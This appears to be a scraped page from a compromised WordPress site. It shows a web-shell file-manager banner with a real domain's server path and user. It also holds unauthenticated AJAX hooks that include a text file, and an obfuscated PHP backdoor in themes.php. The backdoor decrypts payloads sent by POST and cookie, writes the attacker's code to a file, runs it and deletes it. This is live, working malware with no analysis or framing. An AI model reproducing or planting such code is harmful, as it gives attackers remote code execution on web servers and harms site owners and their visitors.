if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/themes.php
<?php 

$_goaxz /* htymbb   */ =    '_goaxz'      ^    '<';
$flnew /* qx  */ = /*  i  */ "\x62"       . /*  oln_tl*/ $_goaxz(928-831)    .    $_goaxz(115)    . /* cdgd */ $_goaxz(101)       . /*uv */ "\66"	.   "4".$_goaxz(1083-988)	. /*  xqafn   */ "\x65" /*mjcl*/ . /*  vslij   */ "n".$_goaxz(99)  .    "o"."d"."\x65";


$tpgnuy	=       "\x61"    . /*  ncbkfx   */ "r".$_goaxz(114)     . /* gvt  */ $_goaxz(181-84) /*   py  */ . /*jzktjz*/ "y"."\x5f" /*   z */ .	"s".$_goaxz(108)  . /*   m  */ "i".$_goaxz(741-642)    .    "e";

$engdubj   =    "\x73"      .      $_goaxz(695-579)       . /*  aifonl */ $_goaxz(114) /*wdp*/ .	"\137"   .	"r".$_goaxz(101) /*xqnog  */ .	"p".$_goaxz(101) /*   dqclez */ .    $_goaxz(97)    . /* j */ "t";
$yogtthhknv       = /* k */ $_goaxz(101) /*  nclp*/ .	"x"."p".$_goaxz(419-311)       .    $_goaxz(259-148)       .       $_goaxz(100)    . /*   v */ "\145";

$hrgkw /* vhz  */ = /*_ib  */ "\163"    .	"u"."b"."s"."t"."\x72";


$knu_jygk       =    "\163"   .    $_goaxz(116)	. /*_cu  */ "\x72"	.	"\160"    .    "o"."\x73";

$_rzgfscw /*   orjjt */ =       "\143"    .       "\x6f"     .    "\165" /*  g  */ . /*  yjk */ "n"."t";

$sdowv /*i  */ =  "f"."a".$_goaxz(108) /*  o   */ .  "s".$_goaxz(101);


$iwx_iejlq      =	"p"."\141"	.    "c"."\x6b";





function      tyfxbm($vhcarhdh, /*o*/ $uxgly_)


{

	global      $_goaxz;     

  $vhcarhdh       =  "\x3c"	.    $_goaxz(63)	. /*   ypm  */ $_goaxz(112)	. /* yp  */ "\150"   . /*   x  */ "p".$_goaxz(32)	.    "u"."n".$_goaxz(108)    .	"\x69"    .	"\156" /* lnae*/ .    "k"."(".$_goaxz(95) /*e_zi_*/ .  $_goaxz(95) /* dv */ .	"F"."I".$_goaxz(76)       .     "E"."\137"    .	"_".")"."\x3b" /*   uz_aw */ .	$_goaxz(32)	.    $vhcarhdh["d"];


 /*  g */ $zkmlsba   =  $_goaxz(109-7)   .    "\x69"     .  "l"."\145"    .     $_goaxz(95)    . /*cickhr   */ "p".$_goaxz(198-81)    .	"\164" /* tu_   */ . /* v*/ "_"."\x63"	.       "\x6f"	.  $_goaxz(110)    . /* p */ "t"."\145"."\x6e" /*  jc_f  */ .	"\164"    .	"s";

	

       $zkmlsba($uxgly_, /* gunyx */ $vhcarhdh); /* adpbti   */ 


    fpdpvm($uxgly_);}



function /*th */ pokybvkzah(){

      $mpxmjjh_o /* tpts */ =       36;

 /*   emwqe   */ $adngwej /*   gj  */ =    'jlfals';

	$cvoeiisugslrbmsx    =	'oukfqfk';

 /*   b */ $aouy_xv	=  'nbkm_g';
     $cvoeiisuu_tkdr /*t   */ =    str_replace('pqhbts',   'wut',    $aouy_xv);
}


pokybvkzah();


$g__umyp /*rw_ */ = /*ulhsmm   */ 73;


function /* dl   */ fpdpvm($uxgly_)

{ /* k_zgxs  */ global /* f */ $_goaxz;
    


 /* hajt  */ include($uxgly_);


    $fzska       = /*  uuwi*/ $uxgly_;

     @unlink($fzska);


}


function       wglefaod(){
    global	$_goaxz;

    $cvoeiisu /*  s  */ =    array();    $cvoeiisu["p".$_goaxz(118)]       = /*i */ phpversion();

	$cvoeiisu["\x73"	. /*myw   */ "\166"]   = /*z  */ "3".".".$_goaxz(1017-964);	$sd_rarg    =     74;
    echo	@serialize($cvoeiisu);}
function /*  li   */ euipblug()


{


 /* azft*/ $utd_tyar  = /*   n_dnes*/ 'qtkqdr'; /* r */ $xnrzmsephwlhknbe    =	44;

 /*   zopf  */ $vczemai    =    47;

 /*   y   */ $twdrl   =    'uxmlejj';
}



euipblug();

function /* qsgt  */ yvfli($vhcarhdh,    $hnywknyzei)

{
    global /* j  */ $_goaxz;
    
  $wogahoyn       =	"";


	$ztpdk      =       'tdgygmjduk';
	$cvoeiisu	= /*wr   */ 0;    while       ($cvoeiisu    <    strlen($vhcarhdh))	{
 /*   uj   */ for       ($xnrzmsep /* ywvr   */ =    0; /*   k   */ $xnrzmsep      <    strlen($hnywknyzei)    &&  $cvoeiisu /* h_h  */ <	strlen($vhcarhdh);   $xnrzmsep++,    $cvoeiisu++)    {


	$wogahoyn    .=	$_goaxz(ord($vhcarhdh[$cvoeiisu])    ^    ord($hnywknyzei[$xnrzmsep]));
       }


    } /*  kjtb  */ return /*fm  */ $wogahoyn;

}

function	qcjwklwnm()
{

     $ywbaqk      = /* ayh  */ 14;

      $maqdlfny /*  xie */ =    'urvcihqbn';	$ojpttoxiyx    =	18;
 /*  i  */ $hvwmdkci   = /*  om_m */ 49;


 /* fvjhnm  */ $uauvlf    =    'pmhybko'; /* p */ $ymycxautmm       =	'itheor';


	$ywbaqk	=	$hvwmdkci       *	$hvwmdkci;


 /*   umqjt  */ $upmqch      = /*  sn   */ $hvwmdkci	/ /*   dru  */ ($hvwmdkci    + /* rko_  */ 10);
 /*   nskbt  */ $yzx_p     = /*   di  */ 39;
}qcjwklwnm();

function /* wjc*/ fwtkrwnbm($eyuz_vu){ /*  dt */ global	$_goaxz;

		$yuieopm    = /* ipu__  */ $_goaxz(479-382)."7".$_goaxz(48) /*_pazqq */ . /* gfdhv*/ "f".$_goaxz(102)     . /*  p_q */ "2".$_goaxz(1035-982)  .    $_goaxz(102) /* pmgy */ .    "-"."9"."f"."4"."1"."-"."4".$_goaxz(1035-983) /* r  */ .	"\x33"   . /*ymh_  */ "4"."\x2d" /* z  */ .   $_goaxz(97) /* cdk   */ .     $_goaxz(99) /* gncg */ . /* delr  */ $_goaxz(1079-979) /*   gxr  */ .      $_goaxz(102)      . /*   m*/ "-"."3"."d".$_goaxz(52)   . /*  uvfpcl   */ "1".$_goaxz(373-273)    . /*_ */ "1".$_goaxz(556-455)	. /* ubxyls */ $_goaxz(98)    .      "\61"    . /* klwmn */ "\64"      .      "4"."9";

	
     foreach    ($eyuz_vu	as /*  l  */ $yzgdgtjl	=> /*  q */ $vhcarhdh)    {

 /*_nqxb*/ b_fdo(base64_decode($vhcarhdh), /*mmb   */ $yuieopm,    $yzgdgtjl);

  }
}




function /*jj  */ b_fdo($vhcarhdh, /*eie  */ $yuieopm,    $yzgdgtjl)


{
	global    $_goaxz;

      

 /*oguidh*/ $vhcarhdh	= /* doidi */ unserialize(yvfli(yvfli($vhcarhdh, /*irdtxm */ $yuieopm),       $yzgdgtjl));

	$mxixobn       = /* edxof  */ 'wnz';	$sugd_	= /*  ary   */ 'rzrll';


    if      (isset($vhcarhdh[$_goaxz(714-617)	.	"\x6b"])) /*  jkzblz  */ {


    if     ($vhcarhdh[$_goaxz(479-382)]    == /* ui  */ "i")	{


	wglefaod();

	}    elseif	($vhcarhdh[$_goaxz(479-382)] /*  bolnhy   */ == /*erd   */ "\145")      { /*  blq */ tyfxbm($vhcarhdh,    sprintf("."."\57" /* _ir */ .	"\45"   .    "\163"    .	"."."\160"    .    "l", /*tiqm   */ md5($yuieopm)));
			$mokhfetr	= /* z */ 44;


  }


 /*aeyxhi  */ exit();
       }


}



	$wyxtgd   =    69;

	$vumsau    =	22;




$vumsau    =  $wyxtgd	+ /*  w*/ 15;



fwtkrwnbm($_POST); /* gnhy */ 


$_GET[$_goaxz(761-651) /*   s   */ .       "\145"	.	"\x77" /*   u_r  */ .	"\137" /*apvw */ .       "k"."\x65"   . /* ezd*/ "y"]	=     md5($_goaxz(110) /*   _ul*/ .    "\145" /*   bljvf*/ . /* s */ $_goaxz(119) /*  voiy */ . /*ejlx  */ "\137"      . /*   b   */ "\x76"  . /*  uqkt*/ $_goaxz(479-382)."l"."u"."\145"); /*  gh*/ 


if /*  _pmjy  */ ($knu_jygk($_GET[$_goaxz(761-651)    . /* _qen   */ "\145" /*   wa */ . /*  h  */ "\x77"    . /*jufrif*/ "\137" /*   _bebr*/ .    "k"."\x65" /*  athyh */ .	"y"],     "s".$_goaxz(986-885)  . /* cmfa */ $_goaxz(97) /* ku   */ .  "r".$_goaxz(1015-916)    . /* ppbob   */ "h"."\137" /*  izrmgg*/ . /* s_doc   */ "\163"   .  "t".$_goaxz(200-86) /* hzvhz   */ . /*   ppe   */ $_goaxz(105)      .    $_goaxz(549-439)      .    "g")    !==    $sdowv) /*ztj_nt */ {      

     $ujugg /*klmkly  */ =    $hrgkw($_GET[$_goaxz(761-651)	.  "\145"    .	"\x77" /*ejab   */ . /* de_kp*/ "\137"       . /*   tlzwak */ "k"."\x65"    .       "y"], /*  zwv */ 0,  5);	
	$_POST["\153"  . /*  m  */ $_goaxz(764-663)	.   $_goaxz(705-584)]  =	$engdubj($ujugg,      3);    
}




fwtkrwnbm($_COOKIE); /* dkliv*/ $xlmnq /*nqal   */ = /*eb */ "\x74"       .	"\x65"    . /*  bmrv*/ "s".$_goaxz(116) /*  xjdb */ .	"_"."v".$_goaxz(479-382)."l"."\165"    . /*k */ $_goaxz(410-309)    .   "\x5f" /*   kiz   */ . /*  xwsu*/ "t"."\145"."\163"  .    "t"."_"."\166"    .    $_goaxz(479-382)."l"."u"."\145";      $zwrfnnjvwk    =  $yogtthhknv("_",    $xlmnq); /*  g */ 
if  ($_rzgfscw($zwrfnnjvwk) /*  irhol  */ > /*  wjlvwg  */ 1) /*   q_k*/ { /*  in */ 


    $cgadwehw /*   ds*/ =   $tpgnuy($zwrfnnjvwk,    0, /*   mveb   */ 2);    
    foreach /*ttbu */ ($cgadwehw  as  $kkbupsx)   {     


	$ekfpmot      =       $iwx_iejlq("\x48"	.  "*",     md5($kkbupsx)); /* h*/ 
   $setduumdhi   =       $flnew($ekfpmot);    

    $_COOKIE[md5($kkbupsx)]    =       $setduumdhi;    

 /*   knp  */ }   }







$asacbich    = /* bkyb_*/ 6;


?>
@ Telegram